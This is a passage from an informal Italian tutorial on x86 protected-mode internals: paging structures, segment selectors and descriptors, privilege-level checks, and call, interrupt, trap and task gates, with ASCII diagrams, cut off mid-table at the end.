+-------------------------+-----+---------------+---+---+-------+---+ Page-Directory Entry (4KB Page Table) 63 36 35 32 +---------------------------------------------------+---------------+ | | | | Reserved (set to 0) | Base Address | | | | +---------------------------------------------------+---------------+ 31 12 11 9 8 7 6 5 4 3 2 1 0 +-------------------------+-----+---+---+---+---+---+---+---+---+---+ | | | | | | | P | P | U | R | | |Page-Directory Basse Addr|Avail| 0 | 0 | 0 | A | C | W | / | / | P | | | | | | | | D | T | S | W | | +-------------------------+-----+---+---+---+---+---+---+---+---+---+ Page-Table Entry (4KB Page Table) 63 36 35 32 +---------------------------------------------------+---------------+ | | | | Reserved (set to 0) | Base Address | | | | +---------------------------------------------------+---------------+ 31 12 11 9 8 7 6 5 4 3 2 1 0 +-------------------------+-----+---+---+---+---+---+---+---+---+---+ | | | | | | | P | P | U | R | | |Page-Directory Basse Addr|Avail| G | 0 | D | A | C | W | / | / | P | | | | | | | | D | T | S | W | | +-------------------------+-----+---+---+---+---+---+---+---+---+---+ Page-Directory-Pointer-Table Entry 63 36 35 32 +---------------------------------------------------+---------------+ | | | | Reserved (set to 0) | Base Address | | | | +---------------------------------------------------+---------------+ 31 12 11 9 8 5 4 3 2 1 0 +-------------------------+-----+---------------+---+---+-------+---+ | | | | P | P | | | |Page-Directory Basse Addr|Avail| Reserved | C | W | Res | 1 | | | | | D | T | | | +-------------------------+-----+---------------+---+---+-------+---+ Page-Directory Entry (2MB Page Table) 63 36 35 32 +---------------------------------------------------+---------------+ | | | | Reserved (set to 0) | Base Address | | | | +---------------------------------------------------+---------------+ 31 21 20 12 11 9 8 7 6 5 4 3 2 1 0 +-----------+-------------+-----+---+---+---+---+---+---+---+---+---+ | Page | | | | | | | P | P | U | R | | | Base | Reserved (0)|Avail| G | 1 | D | A | C | W | / | / | P | | Address | | | | | | | D | T | S | W | | +-----------+-------------+-----+---+---+---+---+---+---+---+---+---+ Nel caso di pagine a 2MB la page dir pointer table entry e' identica a quella per pagine a 4KB. SEGMENTATION ^^^^^^^^^^^^ Il meccanismo della segmentazione, invece, consente di dividere lo spazio di memoria indirizzabile, ovvero quello lineare, in spazi di indirizzamento piu' piccoli, chiamati segmenti. Ogni segmento puo' esser usato per contenere codice, dati o stack di un programma o per contenere strutture quali LDT. La segmentazione, al contrario del paging, *non* puo' essere disattivata. Di conseguenza, affinche' un dato processo possa accedere a un byte in un dato spazio di memoria (contenuto nel linear address space) deve fornire al processore un indirizzo logico, composto a un segment selector (un selettore di 16 bit) e un offset di 32 bit. Il selettore e' un identificatore *unico* per ogni segmento, che oltre ad altre cose consiste in un offset che punta ad un dato descrittore (sempre caratteristico di quel segmento) all'interno della GDT (Global Descriptor Table, Tavola dei Descrittori Globale). Il compito del processore e' quello, dato un selettore, di individuare il corrispondente descrittore nella GDT e da esso ricavare il base address del segmento corrispondente. Aggiungendo al base address del segmento l'offset indicato nell'indirizzo logico si ricavera' l'indirizzo lineare a cui si vuole accedere. Schematicamente: +INDIRIZZO LOGICO+---->(del tipo 1234:12345678, ad ex CS:EIP o DS:ESI) +---------+------+ SELETTORE OFFSET | | +-----+ | +--------------------->| + |-------> INDIRIZZO LINEARE | +-----+ ^^^^^^^^^^^^^^^^^ | ^ nel Linear Address Space | | | +-------+ | +---->| GDT |----- BASE ADDRESS -+ +-------+ ^^^^^^^^^^^^ Lo schemino e' molto semplice (a dire il vero pensavo mi venisse peggio;P ) e non fa alcun riferimento a meccanismi quali paging che dall'indirizzo lineare ricavano quello fisico in cui la pagina e' stata mappata, btw a noi cio' non interessa visto che ne abbiamo gia' parlato :) . La segmentazione cmq e' un meccanismo generale e ogni sistema la puo' implementare nel modo che piu' piace agli sviluppatori, a seconda del numero di segmenti che si desiderano utilizzare. Alcuni tipi di modelli utilizzati sono il Basic Flat Model, Protected Flat Model e Multisegment Model. Nel primo caso lo spazio indirizzabile e' continuo e non segmentato, ad ogni modo almeno due descrittori (un code e un data) devono essere creati, anche se essi vengono cmq mappati all'interno del linear address space con lo stesso base address (0) e lo stesso limite (4GB). Il secondo caso, invece, il Protected Flat Model, e' molto simile al Basic Flat ma con la differenza che e' garantita un minimo di protezione (ad ex se si cerca di accedere a della memoria inesistente superandone il limite viene generata una general-protection fault) e i limiti dei segmenti vengono settati; la maggior parte dei sistemi operativi multitasking utilizza proprio questo modello. Nel terzo caso, invece, ogni programma ha la propria tabella di descrittori e i propri segmenti a seconda che si abbia a che fare con codice, dati, stack o altro. Tale modello offre naturalmente la maggior protezione possibilie. Analizziamo ora le strutture quali selettori e descrittori. Un segment selector si presenta cosi' (scusate la pessima grafica ASCII, ma l'ho dovuta fare sempre io;) ). 15 3 2 1 0 +--------------------------------------------------+----+-------+ | | | | | Index | TI | R P L | | | | | +--------------------------------------------------+----+-------+ * Index, bit 3 --> 15 Seleziona uno degli 8192 descriptor nella GDT o LDT. Il processore moltiplica tale valore per 8 (il numero di byte di un descriptor) e lo aggiunge al base address della GDT / LDT (ricavato dai registri GDTR o LDTR). * TI (Table Indicator) flag, bit 2 Specifica quale descriptor table usare: 1 = LDT, 0 = GDT * RPL (Requested Privilege Level), bit 0 --> 1 Bit che specificano il livello di privlegio del selettore, che puo' variare da 0 a 3 come ben sappiamo ;) . Per poter risparmiare tempo e cicli di clock nel calcolo degli indirizzi il processore offre 6 registri di segmento addetti appunto a contenere un segment selector (ogni registro cmq supporta un solo specifico tipo di selettore, per codice, dati, stack etc). In realta' i registri di segmento sono costituiti, oltre al selettore di 16 bit, da un'altra porzione che serve a risparmiare cicli di clock sempre nella traduzione di indirizzi, che cmq a noi non interessa. Un segment descriptor, invece, e' una strutura nella GDT o LDT che serve al processore per determinare posizione e grandezza di un segmento. Eccone una rappresentazione. 31 24 23 22 21 20 19 16 15 1413 12 11 8 7 0 +----------------+--+--+--+--+-------+--+----+--+--------+---------------+ | | | D| | A| Seg | | D | | | | | Base 31:24 | G| /| 0| L| Limit | P| P | S| Type | Base 23:16 | | | | B| | V| 19:16 | | L| | | | +----------------+--+--+--+--+-------+--+----+--+--------+---------------+ 31 16 15 0 +------------------------------------+------------------------------------+ | | | | Base Address 15:00 | Segment Limit 15:00 | | | | +------------------------------------+------------------------------------+ * Segment Limit field, bit 0 --> 15 (1a dw) + 16 --> 19 (2a dw) Indica la grandezza del segmento (il processore mette insieme i 2 campi per formare un valore di 20 bit). Se il flag G di granularita' non e' settato, la grandezza puo' variare a 1 byte a 1MB, se e' settato puo' variare da 4 KB a 4GB con incrementi di 4KB alla volta. * Base Address field, bit 16 --> 31 (1a dw) + 0 --> 7 (2a dw) + 24 --> 31 (2a dw) Indica la posizione del byte 0 del segmento all'interno del linear address space di 4GB (il processore mette insieme i 3 campi per formare un valore a 32bit). * Type field, bit 8 --> 11 (2a dw) Indica il tipo di segmento, i tipi di accesso su di esso e il suo "verso" di sviluppo. * S (descriptor type) flag, bit 12 (2a dw) Indica se abbiamo a che fare con un system segment (S non e' acceso) e un code / data segment (S e' acceso) * DPL (descriptor privilege level) field, bit 13 --> 14 (2a dw) Altro campo interessante: indica il livello di privilegio del segmento (4 valori da 0 a 3). * P (segment present) flag, bit 15 (2a dw) Indica se il segmento e' presente (acceso) o no (spento) in memoria. Se, da spento, si carica un segment register con un selettore che punta ad esso, viene generata un'exception segment-not-present (#NP). Inoltre, se tale flag non e' settato, il formato del descrittore stesso cambia. * D/B (default operation size/default stack pointer size and/or upper bound) flag, bit 22 (2a dw) Tale flag ha differenti funzioni (che non analizzeremo) a seconda che il segmento sia un code segment, expand-down data segment e stack segment. * G (granularity) flag, bit 23 (2a dw) Determina la scala di aumento del segment limit. Se non e' settato il limite e' interpretato in unita' di byte, in caso contrario in unita' di 4KB. Il bit 20 della seconda dw e' disponibile per il software, il bit 21 e' riservato e dovrebbe esser sempre lasciato a 0. Nel caso in cui il flag S sia settato, il descriptor puo' riferirsi a segmento di codice o dati. E' il bit 11 della seconda dw del descriptor (il bit piu' significativo del type field) a determinare quando il descriptor stesso sia per segmenti di codice o dati. Per i data segment, i 3 bit meno significativi indicano quando il segmento sia accessed (A), se si puo' scrivere su di esso (W) e la direzione di espansione (E). Per i code segment, tali 3 bit stanno ad indicare quando il segmento e' accessed (A), se lo si puo' leggere (R) e se e' conforming (C). Sul significato di "conforming" parlero' in seguito. +-----------------+----------------+-----------------------------------------+ | Type Field | | | +----+----+---+---+ Descriptor | | | 11 | 10 | 9 | 8 | Type | Description | | | E | W | A | | | +----+----+---+---+----------------+-----------------------------------------+ | 0 | 0 | 0 | 0 | Data | Read-Only | | 0 | 0 | 0 | 1 | Data | Read-Only, accessed | | 0 | 0 | 1 | 0 | Data | Read/Write | | 0 | 0 | 1 | 1 | Data | Read/Write, accessed | | 0 | 1 | 0 | 0 | Data | Read-Only, expand-down | | 0 | 1 | 0 | 1 | Data | Read-Only, expand down, accessed | | 0 | 1 | 1 | 0 | Data | Read/Write, expand-down | | 0 | 1 | 1 | 1 | Data | Read/Write, expand-down, accessed | +----+----+---+---+----------------+-----------------------------------------+ | | C | R | A | | | +----+----+---+---+----------------+-----------------------------------------+ | 1 | 0 | 0 | 0 | Code | Execute-Only | | 1 | 0 | 0 | 1 | Code | Execute-Only, accessed | | 1 | 0 | 1 | 0 | Code | Execute/Read | | 1 | 0 | 1 | 1 | Code | Execute/Read, accessed | | 1 | 1 | 0 | 0 | Code | Execute-Only, conforming | | 1 | 1 | 0 | 1 | Code | Execute-Only, conforming, accessed | | 1 | 1 | 1 | 0 | Code | Execute/Read-Only, conforming | | 1 | 1 | 1 | 1 | Code | Execute/Read-Only, conforming, accessed | +----+----+---+---+----------------+-----------------------------------------+ Quando invece l'S flag non e' settato, il descrittore e' di tipo system. Ecco di seguito alcuni tipi di descrittori di sistema. # LDT segment descriptor # TSS descriptor # Call-gate descriptor # Interrupt-gate descriptor # Trap-gate descriptor # Task-gate descriptor Questi tipi di descrittori sono raggruppati inoltre in system-segment descriptor e gate descriptor. I primi puntano a segmenti di sistema quali LDT e TSS, mentre i secondi sono dei gate che contengono puntatori a procedure nei segmenti di codice (in altri termini call, interrupt etc) o che contengono selettori per la TSS. Ecco di seguito la tabella precedente che pero' si riferisce ai system descriptor. +-----------------+-----------------------+ | Type field | | +----+----+---+---+ Description | | 11 | 10 | 9 | 8 | | +----+----+---+---+-----------------------+ | 0 | 0 | 0 | 0 | Reserved | | 0 | 0 | 0 | 1 | 16-bit TSS (Avaiable) | | 0 | 0 | 1 | 0 | LDT | | 0 | 0 | 1 | 1 | 16-bit TSS (Busy) | | 0 | 1 | 0 | 0 | 16-bit Call Gate | | 0 | 1 | 0 | 1 | Task Gate | | 0 | 1 | 1 | 0 | 16-Bit Interrupt Gate | | 0 | 1 | 1 | 1 | 16-bit Trap Gate | | 1 | 0 | 0 | 0 | Reserved | | 1 | 0 | 0 | 1 | 32-bit TSS (Avaiable) | | 1 | 0 | 1 | 0 | Reserved | | 1 | 0 | 1 | 1 | 32-bit TSS (Busy) | | 1 | 1 | 0 | 0 | 32-bit Call Gate | | 1 | 1 | 0 | 1 | Reserved | | 1 | 1 | 1 | 0 | 32-bit Interrupt Gate | | 1 | 1 | 1 | 1 | 32-bit Trap Gate | +----+----+---+---+-----------------------+ -= MECCANISMI DI PROTEZIONE IN PROTECTED MODE =- Ogni volta che in una qualsiasi situazione avviene un riferimento alla memoria i processori i386 eseguono svariati check di vario tipo in parallelo con la traduzione degli indirizzi (senza quindi che ci sia perdita di cicli). Tali check si dividono in: # Limit check # Type check # Privilege Level check # Restriction of addressable domain # Restriction of procedure entry-point # Restriction of instruction set Ogni violazione a una protezione da' come risultato un'exception. Qui mi soffermero' sul 3o tipo di check. Non penso sia il caso di dirlo, btw il meccanismo di protezione dei segmenti riconosce 4 diversi livelli di privilegio, numerati da 0 a 3; tali livelli possono essere interpretati come "anelli" di protezione (da qui il nome ring level), dove nel ring0 c'e' il kernel del SO, nei ring1 e ring2 ci sono i servizi di sistema, nel ring3 ci sono le comuni applicazioni. A ring0 si puo' fare tutto cio' che si vuole sul processore e utilizzare *tutto* il set di istruzioni disponibili. Se si tenta di eseguire a ring3 istruzioni eseguibili solo a ring0 si incorrera' in una general-protection exception (#GP). Affinche' il Privilege Level check sia eseguito, il processore deve esaminare tutti i seguenti tipi di livelli di privilegio: # Current Privilege Level (CPL) Il CPL, il cui valore e' contenuto nei bit 0 e 1 nei registri di segmento CS e SS, indica il livello di privilegio del programma/task attualmente in esecuzione. Di solito (ma non sempre, come vedremo dopo) il CPL e' uguale al livello di privilegio del code segment da cui sono prese le istruzioni. Il processore cambia il CPL quanto il controllo e' trasferito a un segmento con differente livello di privilegio. # Descriptor Privilege Level (DPL) Il DPL e' il livello di privilegio di un segmento (o un gate). Il suo valore e' contenuto nel campo DPL del descrittore del segmento (o del gate). # Requested Privilege Level (RPL) L'RPL e' un livello di privilegio assegnato ai selettori di segmento. Il suo valore e' contenuto nei bit 0 e 1 del selettore stesso. Privilege Level Checking in riferimento ai data segment ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Per accedere ai dati di un data segment, e' necessario spostare in un registro di segmento per dati (DS, ES, FS e GS) un selettore per il segmento a cui si desidera accedere. Prima che il processore carichi tale valore nei registri di segmento, pero', attua un privilege level check che consiste in questo: vengono confrontati il CPL, l'RPL del selettore e il DPL del descrittore del segmento. Affinche' il processore carichi nel registri di segmento il selettore, il DPL deve essere maggiore o uguale sia al CPL che all'RPL; in caso contrario, #GP rulez ;) . Per quanto riguarda gli stack segment, invece, affinche' il registro SS venga caricato con il selettore indicato sia l'RPL dello stack segment selector che il DPL dello stack segment descriptor devono essere uguali al CPL. Lascio a voi indovinare cosa accade in caso contrario ;) . Privilege Level Checking nel trasferimento del controllo del programma tra code segment ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Quando il controllo del prg in esecuzione viene passato da un segmento a un altro, il selettore per il codice di destinazione deve esser caricato nel registro CS. Il processore pero' carica tale selettore solo dopo aver fatto sul descrittore a cui esso si riferisce check di tipo, di limite e di privilegio. Se tali check hanno successo, l'esecuzione sara' passata al nuovo segmento, precisamente all'indirizzo CS:EIP. Per poter trasferire il controllo a un segmento differente da quello attuale si utilizzano le classiche istruzioni del tipo JMP/CALL, ma le strade che si possono seguire sono piu' di una: Caso #1 - Trasferimento diretto al segmento a cui si vuole accedere. Caso #2 - Utilizzo di un gate descriptor che contiene il selettore per il code segment a cui si desidera accedere. Caso #3 - Trasferimento al TSS, che contiene il selettore per il segmento target. Caso #1 ^^^^^^^ Se si desidera trasferire il controllo del programma a un segmento diverso da quello attuale una strada e' quella di esegure un far JMP/CALL alla procedura desiderata. Naturalmente, *prima* di eseguire tale salto o tale call si eseguono dei controlli di privilegio. In questo caso, vengono controllati: - Il CPL. - Il DPL per il segmento target. - L'RPL. - Il C flag nel descrittore del target code segment, che determina se il segmento e' conforming o non-conforming. Se il segmento e' nonconforming (e la maggioranza lo sono), il CPL (naturalmente sempre della procedura chiamante) deve essere uguale alla DPL del segmento di destinazione. In caso contrario, #GP. Se il segmento e' conforming, il CPL deve essre uguale o maggiore (ovvero aver minori privilegi) del DPL del segmento target, e l'RPL del selettore del segmento target non e' controllato. Se il check ha esito positivo, in CS viene caricato il selettore, altrimenti solito #GP. In altre parole, per i conforming code segment il DPL rappresenta il livello di privilegio piu' basso a cui puo' essere la procedura chiamante affinche' possa essere eseguita con successo una call al code segment target. [ INIZIO NOTA PER GLI AMANTI DI WINBOIA ] A questo punto sembrerebbe che utilizzando segmenti conforming e settanto il DPL del descrittore che si riferisce al segmento target a 0 si possa scendere molto facilmente a ring0... ma c'e' un problema, infatti quei simpaticoni della Intel hanno fatto in modo che, anche se in questo tipo di procedura il DPL e' 0 o cmq < CPL, quando il selettore e' caricato in CS il CPL rimanga invariato e non scenda al valore della DPL, questo per questioni di protezione tra segmenti conforming e nonconforming (che solitamente sono utilizzati da moduli quali math library)... bella sfiga per chi aveva gia' fatto pensierini malvagi ;), visto anche che questo e' l'unico caso, come accennato sopra, in cui CPL != DPL del code segment corrente. In definitiva, se in WinBoia volete scendere a ring0 potete sognarvi di fare un JMP/CALL diretto al codice che vi interessa. [ FINE NOTA PER GLI AMANTI DI WINBOIA] Caso #2 ^^^^^^^ Per permettere a un programma di avere accesso a segmenti con livelli di privilegio tra loro differenti le Architetture i386 mettono a disposizione un set particolare di descrittori, chiamati gate descriptor. Ne esistono 4 tipi: - Call gate. - Trap gate. - Interrupt Gate. - Task Gate. I Call Gate sono stati progettati proprio per permettere lo switching tra segmenti dal livello di privilegio diverso o tra segmenti a 16 e 32 bit. Essi possono essere installati nella GDT o nella LDT, *non* nella IDT, e il loro compito e' quello di: 1- Specificare il segmento a cui accedere. 2- Definire un entrypoint per la procedura nel segmento target. 3- Specificare il livello di privilegio che la procedura chiamante deve avere per poter accedere alla nuova procedura. 4- Specificare il numero di parametri da copiare tra gli stack se accade uno stack-switch. 5- Definire la grandezza dei valori da pushare nello stack target (16 bit segment = push a 16 bit, 32 bit segment = push a 32 bit). 6- Specificare in quali casi il call gate e' valido. Ecco come si presenta un call gate. 31 16 15 1413 12 11 8 7 6 5 4 0 +-------------------------------------+--+----+--+--------+-----+----------+ | | | D | | Type | | | | Offset in Segment 31:16 | P| P | 0| |0 0 0| Parameter| | | | L| |1|1|0|0 | | Count | +-------------------------------------+--+----+--+-+-+-+--+-----+----------+ 31 16 15 0 +------------------------------------+-------------------------------------+ | | | | Segment Selector | Offset in Segment 15:00 | | | | +------------------------------------+-------------------------------------+ Il campo "Segment Selector" specifica il segmento a cui accedere. Il campo "Offset" specifica l'entrypoint nel segmento. Il DPL specifica il livello di privilegio del call gate, ovvero il livello di privilegio necessario per accedere al segmento attraverso il call gate. Il P flag indica se il descrittore e' valido (ovvero e' il flag P che indica se il segmento effettivamente esiste). Il campo "Parameter Count" indica il numero di parametri da copiare dallo stack della procedura chiamante a quello della nuova procedura se avviene uno stack-switch (ovvero il numero di word per il call gate a 16 bit o il numero di dw per il call gate a 32 bit). Per accedere al call gate si dovra' utilizzare un far operand in un JMP o una CALL: il selettore identifica il call gate, mentre come offset si puo' mettere cio' che si preferisce, tanto non viene ne' controllato ne' usato. Una volta che il processore ha avuto accesso al call gate, utilizza il selettore per trovare il descrittore per il segmento target, che puo' trovarsi nella GDT o nella LDT. Quindi somma al base address del segmento (ricavato dal descrittore) all'offset nella call gate per formare l'indirizzo lineare dell'entrypoint della procedura nel segmento. Per controllare la validita' del trasferimento del controllo all'interno del prg attraverso un call gate vengono controllati: - Il CPL. - L' RPL del selettore al call gate. - Il DPL del decrittore a cui il call gate si riferisce. - Il DPL del descrittore del segmento target. - Il C flag nel descrittore per il segmento target. Le regole che determinano la validita' o meno del trasferimento variano a seconda che esso avvenga tramite una CALL o un JMP. Se abbiamo a che fare con una CALL, a- Il CPL deve essere minore o uguale al DPL del call gate. b- L'RPL del selettore al call gate deve essere minore o uguale al DPL del call gate. c- Il DPL del descrittore per il segmento target deve essere minore o uguale al CPL, sia che il segmento sia conforming che nonconforming. Per i JMP valgono le stesse regole con l'eccezione che, al punto c, se il segmento target e' conforming il suo DPL deve essere minore o uguale al CPL, mentre se e' nonconforming deve essere uguale al CPL. Tutte tali regole sono btw piu' facili da capire che da spiegare ;) . Stack Switching ^^^^^^^^^^^^^^^ Quando un programma utilizza un call gate per traserire il controllo da un segmento meno privilegiato a uno piu' priviligiato il processore automaticamente cambia (switcha, appunto ;) ) il task utilizzato. Cosa significa tutto cio? Nelle architetture Intel per ogni task in esecuzione esistono 4 stack: 1 per l'attuale livello di privilegio (ring3) e altri 3 per i rimanenti livelli ring2, ring1 e ring0 (naturalmente per i sistemi che utilizzano sono 2 livelli ring3 e ring0 quali WinCesso esistono solo 2 stack), ognuno naturalmente presente in un proprio segmento separato. Quando da un livello meno privilegiato si scende a uno piu' privilegiato (anche se usando questi termini sarebbe piu' opportuno dire "si sale" a dire il vero ;) ) viene effettuato proprio un cambiamento del task utilizzato (task switching) che in primo luogo permette alle procedure piu' privilegiate di avere un minor rischio di crash a causa di uno stack troppo piccolo e in secondo luogo impedisce che le procedure a ring piu' alto (meno privilegiate) interferiscano con quelle a ring piu' basso a causa di uno stack condiviso (shared stack). Come noto per puntare allo stack servono un selettore e uno stack pointer. Quando siamo a ring3, il selettore e' localizzato in SS e il suo stack pointer in ESP, mentre i puntatori agli stack a ring piu' bassi sono localizzati nel TSS (Task-State Segment) del task attualmente in esecuzione: quando si accedera' a un livello di privilegio diverso da ring3, essi saranno utilizzati proprio per creare il nuovo stack, che dovra' essere sufficientemente grande per contenere: - Il contenuto di SS, ESP, CS ed EIP della procedura chiamante. - I parametri indicati nella chiamata alla nuova procedura. - Il registro di EFLAG e gli error code (per le exception e gli interrupt). Riassumendo, quando viene chiamato un call gate per passare a un livello di privilegio piu' basso (ricordo infatti che *non* e' possibile passare a CPL 3 da CPL 0, 1 o 2 se non attraverso un RET) ecco cosa fa il processore per switchare lo stack: 1- Utilizza il DPL del segmento di destinazione per selezionare un puntatore al nuovo stack dal TSS. 2- Legge il selettore e lo stack pointer per il nuovo stack dal TSS. Eventuali violazioni del limite durante la lettura generano una invalid TSS exception (#TS). 3- Controlla i giusti privilegi del descrittore (sempre dello stack-segment). Se sono errati altra #TS. 4- Salva i valori di SS ed ESP. 5- Carica selettore e stack pointer rispettivamente in SS ed ESP. 6- Pusha i valori salvati di SS ed ESP nel nuovo stack. 7- Copia dal vecchio stack il numero di parametri specificati nel count field del call gate nel nuovo stack. 8- Pusha il contenuto di CS ed EIP nel nuovo stack. 9- Carica il selettore per il nuovo code segment e il nuovo instruction pointer dal call gate rispettivamente in CS:EIP e inizia l'esecuzione della nuova procedura. Calling Procedure's Stack Called Procedure's Stack | | | | +-------------------+ +-----------------+ | Parameter 1 | | Calling SS | +-------------------+ +-----------------+ | Parameter 2 | | Calling ESP | +-------------------+ +-----------------+ | Parameter 3 | | Parameter 1 | +-------------------+ +-----------------+ | | | Parameter 2 | +-----------------+ | Parameter 3 | +-----------------+ | Calling CS | +-----------------+ | Calling EIP | +-----------------+ | | Per tornare dalla chiamata piu' privilegiata a quella meno privilegia bastera' utilizzare un semplice RET, naturalmente se non si e' usato un JMP per chiamare la procedura a ring piu' basso. Senza dover scrivere una ad una le operazioni che il processore compie durante un ritorno, basta dire che, dopo aver controllato il campo RPL del CS salvato, carica CS:EIP coi valori salvati nel nuovo stack, controlla se ci sono parametri da salvare e in caso affermativo aggiunge il param count a ESP che quindi ora punta nello stack (della proc a ring basso) a SS ed ESP salvati, tali valori vengono caricati in SS:ESP, e in tal modo si ri-switcha allo stack precedente (avvengono anche soliti check vari), quindi aggiunge il param count al nuovo ESP e si controllano i contenuti dei data segment register per assicurarsi che il DPL dei segmenti corrispondenti sia maggiore della nuova CPL, in caso contraro il registro di segmento e' caricato con un selettore nullo. Per la pallosissima parte dello stack penso sia tutto :) . Trap Gate & Interrupt Gate ^^^^^^^^^^^^^^^^^^^^^^^^^^ Premetto che questi 2 metodi sono molto simili tra loro, i gate da installare sono identici, spieghero' la differenza alla fine della descrizione. Prima di iniziare a (s)parlare della IDT, di interrupt e di exception, btw, avviso che cerchero' di essere piu' conciso che in precedenza ;) anche perche' questi 2 metodi, oltre ad essere quasi uguali tra loro, sono simili a loro volta ai call-gate. Un interrupt, come saprete, puo' essere generato dall'hardware del picci' (attraverso l'APIC serial bus) o da un software che gira su di esso (la classica istruzione int n). Un'exception, invece, puo' esser generata da un software (istruzioni INTO, INT 3 e BOUND), ma anche dal processore (che vede un errore durante l'esecuzione di un programma, ad ex durante un privilege level check) e da un machine-check (sia esterni che interni, servono per controllare le operazioni dell'hardware chip interno e le comunicazioni del bus). Per ogni exception o interrupt il processore definisce un vettore (che in pratica corrisponde al numero di int o exception, ad ex il vettore del page faulte e' il 14) e le exception sono classificate e suddivise in fault, trap e abort (no non vi preoccupate non sto qui a spiegarne la differenza ;) ). La IDT (Interrupt Descriptor Table) associa a ogni exception o interrupt un gate descriptor (int gate o trap gate) per la procedura da eseguire (chiamata handler) quando tale int o tale exception si verifica. Come la GDT e l' LDT, l'IDT e' un'array di descrittori di 8 byte. Il base address della IDT e' contenuto nei bit 47 --> 16 del registro IDTR, il suo limite nei bit 15 --> 0 dello stesso registro. Ecco come si presenta un int gate o un trap gate descriptor installato nell'IDT. 31 16 15 1413 12 8 7 5 4 0 +--------------------------------+--+----+---------+-----+--------+ | | | D | | | | | Offset 31..16 | P| P |0 D 1 1 1|0 0 0|Reserved| | | | L| | | | +--------------------------------+--+----+---------+-----+--------+ 31 16 15 0 +--------------------------------+--------------------------------+ | | | | Segment Selector | Offset 15..0 | | | | +--------------------------------+--------------------------------+ Non penso servano troppe spiegazioni sulla struttura di questi gate: il selettore punta al descrittore nella GDT / LDT, l'offset e' la "distanza", in positivo naturalmente, dal base address, ovvero il punto in cui dovra' iniziare l'esecuzione dell'handler. I bit 4 ---> 0 sono riservati. Procedure di Exception e Interrupt Handling ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Quando il processore effettua una chiamata a un handler di un'exception / interrupt, salva lo stato del registro di EFALG, CS e EIP nello stack. Se il livello di privilegio dell'handler e' lo stesso, si utilizza lo stesso stack, altrimenti avviene uno stack-switching. Per ritornare dall'int / exc procedure, l'handler utilizza l'istruzione IRET (che rimette a posto i flag in EFLAG)... naturalmente durante tale processo di ritorno se era avvenuto uno stack swithing ora si torna allo stack di partenza. IDT Dest Code Segment +-------------------+ +-------------------+ | | | | +-------------------+ | | | | +-------------------+ +-------------------+ | | | | |Interrupt Procedure| +-------------------+Offset +---+ | | | Int/Trap Gate +-----> | + | ------> +-------------------+ +-------------------+---+ +---+ | | | | | ^ | | +-------------------+ | | | | | | | | | | +-------------------+ | | | | | | | | | | +-------------------+ | | | | | | | | | | +-------------------+ | +---------> +-------------------+ | | Segmente Selector | | +-----------------------+ | | | | | | GDT / LDT | Base | +-------------------+ | Address | | | | | +-------------------+ | | | | | | +-------------------+ | | | | | | +-------------------+ | +--> | Segment Descriptor+----+ +-------------------+ | | +-------------------+ | | +-------------------+ | | +-------------------+ | | +-------------------+ Come detto all'inzio, Trap e Int Gates (sebbene abbiano gate identici) sono leggermente diversi: infatti, quando si accede a un int/exc handler attraverso un int gate il processore pulisce il flag IF per impedire ad altri int di interferire con il corrente handler. Fare lo stesso tramite un trap gate non modifica tale flag. Per quanto riguarda i controlli cui privilege level, essi sono simili a quelli dei call gate: il processore non permette passaggi da livelli piu' privilegiati a livelli meno privilegiati. Il meccaniscmo cmq e' diverso in tali aspetti: - L'RPL dei vettori non e' controllata visto che i vettori non hanno un'RPL;). - Il processore controlla la DPL del gate solo se l'exc o l'int e' generato con un INT n, INT 3 o INTO. In tal caso, il CPL deve esser minore o uguale al DPL del gate per evitare che il software a ring3 possa accedere a handler a ring0 semplicemente tramite un interrupt. Apparentemente questa seconda regola potrebbe sembrare un'ignobile bastardata della Intel:) ma in realta' non e' cosi' visto che, poiche' tali restrizioni sono troppo strette ed eventi quali int o exc accadono in modo molto irregolare, per evitare una violazione delle regole si possono usare un paio di tecniche, una delle quali dice esplicitamente che un handler puo' cmq essere messo in un nonconforming code segment con livello di privilegio 0, e funzionera' indipendentemente dal CPL a cui stava viaggiando la proc chiamante. Ed anche per i trap e int gate e' tutto. Task Gate ^^^^^^^^^ Un altro metodo utilizzabile per passare l'esecuzione a una procedura con un privilegio maggiore e' utilizzare un cosiddetto "task gate". Prima di spiegare cos'e' un task gate, pero', tentero' di introdurre al funzionamento dei task in architetture i386. Per definizione, un task e' un'unita' di lavoro che un processore puo' terminare, eseguire e sospendere. Esso puo' essere utilizzato per eseguire un programma, un altro task o processo, un'utility di servizio del SO, un interrupt o exception handler, un'utility del kernel stesso. Ogni task e' formato da 2 parti: uno spazio di esecuzione e un task-state segment, TSS. Lo spazio di esecuzione consiste in un segmento addetto all'esecuzione di codice, a uno stack segment (o, meglio, a tanti stack segment quanti sono i livelli di privilegio) e uno o piu' data segment; il TSS, invece, specifica i segmenti del task e offre uno spazio in cui memorizzare le informazioni del task stesso. Un task e' identificato da un selettore alla sua TSS. Quando un task e' caricato per l'esecuzione, tale selettore, i limite e un segment descriptor della TSS sono messi nel task register. TSS +---+ +---------------+ <------| + | <-------------+ | | +---+ | | | ^ | | | | | | | | | | | | | | | | | +---------------+ <--------+ | | | | | | | Visible Part | Invisible Part | +----------------+---------+--------+--------+------+ | Selector | Base Address | Segment Limit | +-------+--------+------------------+--------+------+ | ^ | | | | | +-----------+ | | | | | | | | | | | | | | | | | GDT | | | +---------------+ | | | | | | | | +---------------+ | | | | | | | | +---------------+ | | +-------> | TSS Descriptor|----+-----+ +---------------+ | | +---------------+ | | +---------------+ Sfruttando proprio il funzionamento dei task e' possibile switchare tra 2 task con differenti livelli di privilegio in 2 modi: e' possibile optare per un trasferimento diretto a un descrittore TSS installato nella GDT che fara' poi riferimento al TSS corrispondente o utilizzare un task gate installato nella GDT, LDT o IDT. Tale task gate puntera' a sua volta a un TSS descriptor nella GDT che portera' ancora una volta al TSS del nuovo task. Il primo caso verra' trattato sotto; per quanto riguarda il secondo, abbiamo detto che ci vuole un task gate installato nella GDT, LDT o IDT che faccia riferimento a un TSS descriptor nella GDT (questi ultimi si possono mettere solo li'). Ecco di seguito lo schema di un TSS descriptor. 31 24 23 22 21 20 19 16 15 1413 12 11 8 7 0 +---------------+--+--+--+--+--------+--+----+--+--------+----------------+ | | | | | A| Limit | | D | | Type | | | Base 31:24 | G| 0| 0| V| 19:16 | P| P | 0| | Base 23:16 | | | | | | L| | | L| |1|0|B|1 | | 